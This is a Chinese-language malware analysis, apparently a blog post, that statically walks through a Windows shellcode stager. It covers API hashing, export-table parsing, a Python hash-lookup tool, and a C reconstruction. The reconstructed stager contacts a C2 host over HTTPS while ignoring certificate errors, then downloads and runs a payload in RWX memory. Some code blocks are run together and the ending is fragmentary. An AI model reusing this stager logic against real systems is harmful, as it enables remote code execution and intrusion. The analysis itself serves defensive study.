0x0000000000000027: C1 CF 0D ror edi, 0xd
0x000000000000002a: 01 C7 add edi, eax
0x000000000000002c: E2 F0 loop 0x1e
The lodsb 指令正是字符串被保存在 esi 中、长度被保存在 ecx 中以及方向标志被清除的原因。
它读取 esi 指向的第一个 ANSI 字符(字节),将 esi 递增一,并将结果保存到 al 寄存器中。
后面的部分将小写字符转换为大写——如果 ASCII 码大于或等于 0x61('a'),则减去 0x20。
转换为大写后,edi 寄存器会向右旋转 0xd,然后将字符值加到它上面。
由于 edi 被旋转——它会丢失所添加字符的信息,但在其值中保留某种聚合结果。
换句话说——edi 是对 esi 所指向字符串的某种哈希。顺便说一句,loop 指令巧妙地利用了 ecx 是字符串长度计数器这一事实——它将 ecx 减一,并且只要 ecx 不为零,就会继续执行下一次迭代。
将这种逻辑转换为 Python 非常简单:```python
def get_string_hash(s):
v = 0
for c in s.upper():
v = (v >> 0xd) | ((v & 0x1fff) << 19)
v = (v + ord(c)) & 0xffffffff
return v
## 遍历导出表
让我们继续讲解接下来的几条指令:```assembly
0x000000000000002e: 52 push edx
0x000000000000002f: 57 push edi
0x0000000000000030: 8B 52 10 mov edx, dword ptr [edx + 0x10]
0x0000000000000033: 8B 42 3C mov eax, dword ptr [edx + 0x3c]
0x0000000000000036: 01 D0 add eax, edx
0x0000000000000038: 8B 40 78 mov eax, dword ptr [eax + 0x78]
0x000000000000003b: 85 C0 test eax, eax
0x000000000000003d: 74 4A je 0x89
0x000000000000003f: 01 D0 add eax, edx
0x0000000000000041: 50 push eax
0x0000000000000042: 8B 48 18 mov ecx, dword ptr [eax + 0x18]
0x0000000000000045: 8B 58 20 mov ebx, dword ptr [eax + 0x20]
0x0000000000000048: 01 D3 add ebx, edx
首先,edx(包含当前模块条目)和 edi(包含其名称的哈希)被备份到栈上。
之后,edx 在偏移量 0x10 处被引用。由于我们位于该结构(类型为 LDR_DATA_TABLE_ENTRY)内部 8 字节处,因此 0x10 就是该条目的 DllBase 成员(0x18 - 0x8)。
即使在内存中,模块也具有 PE 数据结构,并且偏移量 0x3c 对应 DOS 头中指向 PE 头的指针。
我们可以看到 eax 被视为 RVA,因为它将 edx 与自身相加 - edx 是模块在内存中的基址。
类似地,从该处偏移 0x78 就是 PE 导出表,其中包含有关导出符号(通常是函数)的信息。
它的数据结构称为 IMAGE_EXPORT_DIRECTORY,并且有详尽的文档。
假设它不为零(它正在被 test 测试)- 我们压入 eax 并解引用其中的两部分:
NumberOfNames 成员。AddressOfNames 成员。
因此,总而言之,这部分对 PE 进行了一些解析,以获取导出表 - 具体来说,是导出符号的数量(在 ecx 中)及其在内存中的地址(在 ebx 中)。继续:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx
`jecxz` 指令在 `ecx` 为零时跳转——如果不存在导出的名称,就会发生这种情况,但这也暗示该检查将在循环中执行。
我们递减 `ecx` 这一事实证实了这种猜测——我们期望对所有导出的符号进行某种迭代,以匹配某个条件。
我们看到 `ecx` 乘以 4 并加到 `ebx` 上——`AddressOfNames` 中的所有项都是指向符号名称的 RVA,因此 `esi` 最终会指向一个导出的名称。```assembly
0x0000000000000052: 31 FF xor edi, edi
0x0000000000000054: 31 C0 xor eax, eax
0x0000000000000056: AC lodsb al, byte ptr [esi]
0x0000000000000057: C1 CF 0D ror edi, 0xd
0x000000000000005a: 01 C7 add edi, eax
0x000000000000005c: 38 E0 cmp al, ah
0x000000000000005e: 75 F4 jne 0x54
这部分类似于我们之前见过的同名哈希计算,但并不是使用 ecx 作为计数器——它会一直计算哈希直到遇到 NUL 终止符:
edi 被赋值为零(通过自身异或)。和之前一样——edi 将保存哈希值。eax 寄存器同样被赋值为零。它的低字节(al)将在每次迭代中保存当前字符的 ASCII 码。lodsb 指令,代码将 al 设置为 esi 指向的字节,并将 esi 递增到下一个字节。edi 右旋转 0xd 次,然后加上当前字符的 ASCII 值。al 和 ah 的比较实际上只是将 al 与零(NUL 终止符)进行比较,因为这里没有任何操作会触及 eax 的其他字节,并且我们已经确保它们为零。loop 指令(它依赖 ecx)不同,我们只需(用 )跳回去——只要没有遇到 NUL 终止符。我们预期接下来的部分会对我们计算出的不同哈希(模块名、符号名)与我们收到的输入执行某种比较:```assembly
0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8]
0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24]
0x0000000000000066: 75 E2 jne 0x4a
0x0000000000000068: 58 pop eax
0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24]
0x000000000000006c: 01 D3 add ebx, edx
0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2]
0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c]
0x0000000000000075: 01 D3 add ebx, edx
0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4]
0x000000000000007a: 01 D0 add eax, edx
0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax
0x0000000000000080: 5B pop ebx
0x0000000000000081: 5B pop ebx
0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx
0x0000000000000084: 5A pop edx
0x0000000000000085: 51 push ecx
0x0000000000000086: FF E0 jmp eax
Well, `ebp-8` 正好指向我们之前压入的旧 `edi` 值——其中包含了设定的模块名称的哈希值。
我们将该哈希值与导出名称的哈希值相加,并将其与 `ebp+0x24` 处的 DWORD 进行比较。
由于之前有一条 `pushad` 指令,我们压入了 8 个寄存器,所以这里直接指向开头压入的最后一个神秘值(0x726774c)!
如果不相等——我们就跳转到偏移量 `0x4a`,继续处理同一模块中的下一个符号。
否则,我们将导出表恢复到 `eax`,解引用偏移 0x24 字节处的值(即序号表),并将其加到基址 `ebx` 上。
序号表的每一项占 2 字节——由于 `ecx` 是条目编号,所以 `ebx + ecx*2` 就是序号值。
接下来的几行代码很直白:导出表中的 `0x1c` 是导出函数地址表,而 `ebx + ecx*4` 表示按 `ecx` 索引的函数地址。
可以看出,该值保存在 `eax` 中,并最终被调用:
- 将 `eax` 值保存在 `esp + 0x24` 中,此时该位置恰好是 `pushad` 指令中保存 `eax` 寄存器的地方。这确保当我们执行 `popad` 时,`eax` 值不会丢失。
- 执行两个虚拟的弹出到 `ebx`,以去掉前面两次压入(计算出的哈希和模块入口)。
- 执行 `popad`,它会从栈中恢复所有通用寄存器,但由于我们之前的覆盖,`eax` 会被保留。此时,栈和寄存器与进入函数时的原始状态一致,除了 `eax` 指向所需函数指针。
- 将返回地址(由 `call ebp` 压入)弹出到 `ecx`,将所需哈希弹出到 `edx`,然后再将 `ecx` 压回,从而去掉栈中的神秘哈希值。
- 此时执行 `jmp eax` 即完成该函数——`eax` 指向的函数将运行,返回时它将使用原始返回值。
这段长逻辑的最后部分基本上是继续处理下一个模块:```assembly
0x0000000000000088: 58 pop eax
0x0000000000000089: 5F pop edi
0x000000000000008a: 5A pop edx
0x000000000000008b: 8B 12 mov edx, dword ptr [edx]
0x000000000000008d: EB 86 jmp 0x15
这基本上会清理之前的压栈操作,并移动到偏移量 0x15 处,下一个模块将在那里使用。
总结一下 - 偏移量 6 到 0x8d(含)之间的整个 shellcode 期望先为某个函数压入参数,然后是一个自定义哈希。 当哈希匹配时 - 就会调用相应的函数。这当然是一种避免在代码中出现函数名字符串的好方法!
由于我们会频繁检查这些哈希,最好将工作自动化。 让我们复用之前编写的 Python 脚本,并编写一个函数来查找给定的哈希:```python import os import pefile import sys
BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')
def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v
def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))
def get_sym_hash(s): return get_string_hash(s + '\x00')
def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')
if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)
例如,当我们运行 `get_hash.py 0x726774c kernel32.dll` 时,我们会得到输出 `kernel32.dll!LoadLibraryA`!
## 分析主逻辑
现在我们了解了整个哈希功能的运作方式,是时候进行哈希搜寻了!
让我们回到主逻辑——我们说过字符串 `wininet` 被压入栈中——现在我们知道 `LoadLibraryA` 会带着它被调用。
接下来的部分是:```assembly
0x00000000000000a2: E8 00 00 00 00 call 0xa7
0x00000000000000a7: 31 FF xor edi, edi
0x00000000000000a9: 57 push edi
0x00000000000000aa: 57 push edi
0x00000000000000ab: 57 push edi
0x00000000000000ac: 57 push edi
0x00000000000000ad: 57 push edi
0x00000000000000ae: 68 3A 56 79 A7 push 0xa779563a
0x00000000000000b3: FF D5 call ebp
那里的 call 将返回地址压入栈中(0xa7)。
然后,我们将 edi 清零,并向栈中压入 5 个零。0xa779563a 是另一个哈希,这次位于 wininet.dll 中,因为 get_hash.py 0xa779563a 得到 wininet.dll!InternetOpenA。
因此,代码以全零和 NULL 调用 InternetOpenA。
有几个跳转最终会回调到偏移量 0xba:```assembly
0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e
0x00000000000000ba: 5B pop ebx
...
0x000000000000015e: E9 C9 01 00 00 jmp 0x32c
...
0x000000000000032c: E8 89 FD FF FF call 0xba
0x0000000000000331: 68 75 71 65 69 push 0x69657175
0x0000000000000336: E6 outs dx, byte ptr ds:[esi]
...
思路是,当我们返回时,我们会将偏移量 `0x331` 的地址压入栈。我在该地址添加了几条汇编指令——请注意,例如 `outs` 并不是我们所期望的。将这些字节*作为数据*来检查,则会得到不同的结果:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')
这会生成字符串 huqeinc.com(带有 NUL 终止符),后面跟着 4 个无法辨认的字节。
因此,当我们回到地址 0xba 时,会弹出到 ebx,它将指向该字符串。
让我们检查该指令之后的部分:```assembly
0x00000000000000bb: 31 C9 xor ecx, ecx
0x00000000000000bd: 51 push ecx
0x00000000000000be: 51 push ecx
0x00000000000000bf: 6A 03 push 3
0x00000000000000c1: 51 push ecx
0x00000000000000c2: 51 push ecx
0x00000000000000c3: 68 BB 01 00 00 push 0x1bb
0x00000000000000c8: 53 push ebx
0x00000000000000c9: 50 push eax
0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957
0x00000000000000cf: FF D5 call ebp
The value `0xc69f8957` 是另一个哈希,这次对应的是 `wininet.dll!InternetConnectA`。
该函数接收大量参数,但本质上我们得到的是:`InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`。
注意 `INTERNET_SERVICE_HTTP` 的值为 3,`0x1bb` 即 443,而 `eax` 保存的是 `InternetOpenA` 的返回结果。
继续往下,在保存 `InternetConnectA` 的返回结果之后,我们会看到一组类似的跳转:```assembly
0x00000000000000d1: 50 push eax
0x00000000000000d2: E9 8C 00 00 00 jmp 0x163
0x00000000000000d7: 5B pop ebx
0x00000000000000d8: 31 D2 xor edx, edx
0x00000000000000da: 52 push edx
0x00000000000000db: 68 00 32 C0 84 push 0x84c03200
0x00000000000000e0: 52 push edx
0x00000000000000e1: 52 push edx
0x00000000000000e2: 52 push edx
0x00000000000000e3: 53 push ebx
0x00000000000000e4: 52 push edx
0x00000000000000e5: 50 push eax
0x00000000000000e6: 68 EB 55 2E 3B push 0x3b2e55eb
0x00000000000000eb: FF D5 call ebp
...
0x0000000000000163: E8 6F FF FF FF call 0xd7
0x0000000000000168: 2F das
0x0000000000000169: 51 push ecx
0x000000000000016a: 70 59 jo 0x1c5
...
和之前一样,调用之后的指令意义不大,因此我们怀疑它们应被解释为数据。
实际上,它们编码了以 NUL 结尾的字符串 /QpYB,这并没有太大帮助。我们注意到,当回到偏移 0xd7 时,该字符串的指针被压入栈中。
回到 0xd7,该地址被弹出到 ebx。要理解这些数据的含义,让我们弄清楚调用的是哪个函数。
哈希 0x3b2e55eb 对应 wininet.dll!HttpOpenRequestA,它同样接收许多参数。
大多数参数将为 NULL(由于 edx 的压栈),除了以下内容:
hConnect 是 eax,即 InternetConnectA 的返回值。lpszObjectName 是我们看到的那个字符串(/QpYB)。dwFlags 包含值 0x84c03200,根据此文档,它是 INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD。接下来的几条指令以另一个 API 调用结束:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp
在使用 `esi` 备份来自 `HttpOpenRequestA` 的结果后,我们将 `ebx` 加上 0x50。
由于 `ebx` 保证在调用之间保持不变,因此它现在将指向 shellcode 中的偏移量 `0x1b8`,以字符串形式呈现时如下所示:`User-Agent: Microsoft-CryptoAPI/6.1\r\n`。
哈希 `0x869e4675` 解析为 API `wininet.dll!InternetSetOptionA`,它将接收以下参数:
- 保存在 `esi` 中的请求句柄。
- 值 `0x1f` 作为 `dwOption`,根据 [此文档](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags),它是 `INTERNET_OPTION_SECURITY_FLAGS`。
- `lpBuffer` 参数将是指向值 `0x3380` 的指针,该值对请求的安全标志进行编码:`WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`。
- `dwBufferLength` 为 4,因为只将一个 DWORD 设置为 `lpBuffer`。
这将使连接使用 TLS,但忽略所有证书错误等。
以下是后续部分:```assembly
0x0000000000000106: 5F pop edi
0x0000000000000107: 31 FF xor edi, edi
0x0000000000000109: 57 push edi
0x000000000000010a: 57 push edi
0x000000000000010b: 6A FF push -1
0x000000000000010d: 53 push ebx
0x000000000000010e: 56 push esi
0x000000000000010f: 68 2D 06 18 7B push 0x7b18062d
0x0000000000000114: FF D5 call ebp
0x0000000000000116: 85 C0 test eax, eax
0x0000000000000118: 0F 84 CA 01 00 00 je 0x2e8
0x000000000000011e: 31 FF xor edi, edi
0x0000000000000120: 85 F6 test esi, esi
0x0000000000000122: 74 04 je 0x128
0x0000000000000124: 89 F9 mov ecx, edi
0x0000000000000126: EB 09 jmp 0x131
0x0000000000000128: 68 AA C5 E2 5D push 0x5de2c5aa
0x000000000000012d: FF D5 call ebp
0x000000000000012f: 89 C1 mov ecx, eax
0x0000000000000131: 68 45 21 5E 31 push 0x315e2145
0x0000000000000136: FF D5 call ebp
0x0000000000000138: 31 FF xor edi, edi
0x000000000000013a: 57 push edi
0x000000000000013b: 6A 07 push 7
0x000000000000013d: 51 push ecx
0x000000000000013e: 56 push esi
0x000000000000013f: 50 push eax
0x0000000000000140: 68 B7 57 E0 0B push 0xbe057b7
0x0000000000000145: FF D5 call ebp
0x0000000000000147: BF 00 2F 00 00 mov edi, 0x2f00
0x000000000000014c: 39 C7 cmp edi, eax
0x000000000000014e: 75 07 jne 0x157
0x0000000000000150: 58 pop eax
0x0000000000000151: 50 push eax
0x0000000000000152: E9 7B FF FF FF jmp 0xd2
0x0000000000000157: 31 FF xor edi, edi
0x0000000000000159: E9 91 01 00 00 jmp 0x2ef
有一个虚拟的 pop 用于清理之前过度压栈的内容(我们之前将安全选项压入了栈)。
由于我们看到另一个哈希(0x7b18062d),我们立即解析其 API:wininet.dll!HttpSendRequestA。
这里有一些值得注意的部分:
ebx 中的用户代理被用作函数的第二个参数。0x2e8。esi 是否为零实际上是在检查请求句柄是否不为 NULL。这很奇怪,因为此时我们已经调用了 HttpSendRequestA,但即便如此——如果它是 NULL,我们就跳转到 0x128。0x128 处,我们使用哈希 0x5de2c5aa(即 kernel32.dll!GetLastError),并将其结果保存到 ecx 中。0x131 处,我们使用哈希 0x315e2145(即 user32.dll!GetDesktopWindow),然后将该结果与哈希 0xbe057b7(即 wininet.dll!InternetErrorDlg)一起使用。其思路很简单:调用 InternetErrorDlg,看是否需要重试。
另外请记住:如果 HttpSendRequestA 失败,我们会跳转到 0x2e8。如果它成功且不需要重试,则跳转到 0x2ef。
检查偏移量 0x2e8(失败路径):```assembly
0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0
0x00000000000002ed: FF D5 call ebp
该哈希转换为 `kernel32.dll!ExitProcess`,因此一旦失败——我们就退出进程。
整个部分可以如此翻译:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
goto lblRetryConn;
}
...
让我们来看看在偏移量 0x2ef 处发生了什么:```assembly
0x00000000000002ef: 6A 40 push 0x40
0x00000000000002f1: 68 00 10 00 00 push 0x1000
0x00000000000002f6: 68 00 00 40 00 push 0x400000
0x00000000000002fb: 57 push edi
0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458
0x0000000000000301: FF D5 call ebp
0x0000000000000303: 93 xchg ebx, eax
0x0000000000000304: B9 00 00 00 00 mov ecx,0x0
0x0000000000000309: 01 D9 add ecx,ebx
0x000000000000030b: 51 push ecx
0x000000000000030c: 53 push ebx
0x000000000000030d: 89 E7 mov edi, esp
0x000000000000030f: 57 push edi
0x0000000000000310: 68 00 20 00 00 push 0x2000
0x0000000000000315: 53 push ebx
0x0000000000000316: 56 push esi
0x0000000000000317: 68 12 96 89 E2 push 0xe2899612
0x000000000000031c: FF D5 call ebp
0x000000000000031e: 85 C0 test eax, eax
0x0000000000000320: 74 C6 je 0x2e8
你能仅根据这些常量猜出哈希 `0xe553a458` 是什么吗?
- `0x40` 是 `PAGE_EXECUTEREADWRITE`,正如我们之前所见。
- `0x1000` 是 `MEM_COMMIT`。
确实,那个哈希对应 `kernel32.dll!VirtualAlloc`,我们只是分配了一块大小为 `0x400000` 的 RWX 内存。
这里重要的是要猜出攻击者的逻辑——既然我们与某个 C2 服务器建立了互联网连接,而现在我们又分配了一个 RWX 页面——我们预期会收到另一个 payload!
在该调用之后,产生的内存缓冲区被保存在 `ebx` 和 `ecx` 中。
在偏移 `0x30b` 处,我们开始了另一组用于函数调用的栈压入——这次使用的哈希是 `0xe2899612`(`wininet.dll!InternetReadFile`)。
这些压入操作(按逆序)指定了参数:
- `hFile` 是 `esi`,即我们的互联网请求(类型为 `HINTERNET`)。
- `lpBuffer` 是 `ebx`——我们新分配的缓冲区。
- `dwNumberOfBytesToRead` 被设置为 `0x2000`。
- `lpdwNumberOfBytesRead` 是 `edi`,它指向我们在栈上分配的空余空间。
最后,如果这个函数失败,我们会跳转到 `0x2e8`,那里将再次调用 `ExitProcess`。
注意,这里有一个额外的 `ecx` 压入指令(偏移 `0x30b`)——这意味着我们已经备份了所分配缓冲区的地址。
我们快结束了!让我们检查最后几条指令:```assembly
0x0000000000000322: 8B 07 mov eax, dword ptr [edi]
0x0000000000000324: 01 C3 add ebx, eax
0x0000000000000326: 85 C0 test eax, eax
0x0000000000000328: 75 E5 jne 0x30f
0x000000000000032a: 58 pop eax
0x000000000000032b: C3 ret
嗯,edi 指向已读取的字节数——它被解引用到 eax 中。
然后,我们将该值加到 ebx 上,ebx 被保留并指向我们的 RWX 内存区域。
如果 eax 不为零,则表示已读取了一些字节,因此我们再次跳转到 0x30f 以读取更多数据。
这在读取场景中很常见——每次我们最多读取 0x2000 字节,直到读到 0,即表示没有剩余字节可读。
如果我们不跳转,那么我们就位于 0x32a,在此处我们 pop 从栈中分配的字节并调用 ret。
提醒一下,我们之前将返回缓冲区的开头压入了栈,因此 ret 会将其用作返回地址。
这意味着我们只需跳转到我们获得的缓冲区——本质上将其视为另一个 shellcode!
这就是我们的 shellcode 在概念上可能的样子:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();
// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");
// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));
// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);
// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);
// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();
## Summary
虽然这是一个非常常见的 shellcode 分析对象,但对其进行静态分析仍有学习价值:
- 我们提取了多层 PowerShell 代码,最终获得一个 32 位 shellcode。
- 在 shellcode 分析过程中,我们讨论了 Windows 上的 `PEB` 与 shellcoding 策略。
- 我们构建了一个用于反向哈希查找的工具(参见本仓库中的 `get_hash.py`)。
- 我们讨论了常见的 shellcode 技术,如 `push-ret` 和 `call-pop`。
- 我们涉及了 `PE` 文件结构的部分内容。
感谢,
Jonathan Bar Or (https://jonathanbaror.com)
$var_code 的载荷(该载荷经过了 base64 解码并与常数 35 进行 XOR 运算)被复制到缓冲区中,然后被执行(通过 $var_runme 委托完成)。$DoIt。jne0x2f00 是 ERROR_INTERNET_FORCE_RETRY,我们将 InternetErrorDlg 的结果与之进行比较。